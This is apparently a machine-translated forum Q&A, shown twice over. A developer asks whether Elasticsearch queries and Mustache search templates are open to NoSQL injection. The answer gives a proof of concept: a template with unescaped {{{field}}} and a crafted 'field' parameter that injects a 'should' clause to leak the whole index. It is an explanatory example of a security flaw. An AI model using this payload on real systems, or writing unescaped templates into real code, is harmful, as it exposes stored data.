使用 Elasticsearch 防止 NoSQL 注入
Preventing NoSQL injections with Elasticsearch
我正在后端使用 QueryBuilders
构建 Elasticsearch 查询。集群不直接暴露在互联网上,只能通过后端访问。
我注意到我向它提供了未经处理的用户输入,这让我想起了 SQL 注入。我知道如何防止 SQL 注入,但我不确定 QueryBuilder
是否逃脱了输入?
我发现有一种叫'Search Templates'的东西,它用的是小胡子。他们是否可以正确地转义内容?他们 'the way to go' 是为了防止此类问题吗?
我什至不确定有问题的用户输入是什么样的。使用 QueryBuilder
时,我认为无法更改查询的 HTTP METHOD
。
也许脚本可能是个问题,但可以禁用。
重申我的问题:代码注入是否是 Elasticsearch 的一个问题?如果是,缓解它们的最佳方法是什么?
谢谢! :)
你可以在 ES 中找到所有 previously detected security flaws,但 NoSQL 注入从来不是其中之一......到目前为止。
但是,您会发现 some literature that talks about how to do just that. Also some other discussions and resources 可能值得一读。
举个简单的例子,当使用利用 Mustache 模板语言的搜索模板时,绝对有可能创建 NoSQL 注入攻击。例如,假设我们有以下两个文档:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}
field1
上的模板查询(错误地)使用了三个胡须:
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}
通过巧妙地为 field
参数选择值,我们可以泄漏整个索引:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}
最终查询看起来像这样,即我们能够插入一个基本上泄漏整个索引的 should 子句:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}
我正在后端使用 QueryBuilders
构建 Elasticsearch 查询。集群不直接暴露在互联网上,只能通过后端访问。
我注意到我向它提供了未经处理的用户输入,这让我想起了 SQL 注入。我知道如何防止 SQL 注入,但我不确定 QueryBuilder
是否逃脱了输入?
我发现有一种叫'Search Templates'的东西,它用的是小胡子。他们是否可以正确地转义内容?他们 'the way to go' 是为了防止此类问题吗?
我什至不确定有问题的用户输入是什么样的。使用 QueryBuilder
时,我认为无法更改查询的 HTTP METHOD
。
也许脚本可能是个问题,但可以禁用。
重申我的问题:代码注入是否是 Elasticsearch 的一个问题?如果是,缓解它们的最佳方法是什么?
谢谢! :)
你可以在 ES 中找到所有 previously detected security flaws,但 NoSQL 注入从来不是其中之一......到目前为止。
但是,您会发现 some literature that talks about how to do just that. Also some other discussions and resources 可能值得一读。
举个简单的例子,当使用利用 Mustache 模板语言的搜索模板时,绝对有可能创建 NoSQL 注入攻击。例如,假设我们有以下两个文档:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}
field1
上的模板查询(错误地)使用了三个胡须:
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}
通过巧妙地为 field
参数选择值,我们可以泄漏整个索引:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}
最终查询看起来像这样,即我们能够插入一个基本上泄漏整个索引的 should 子句:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}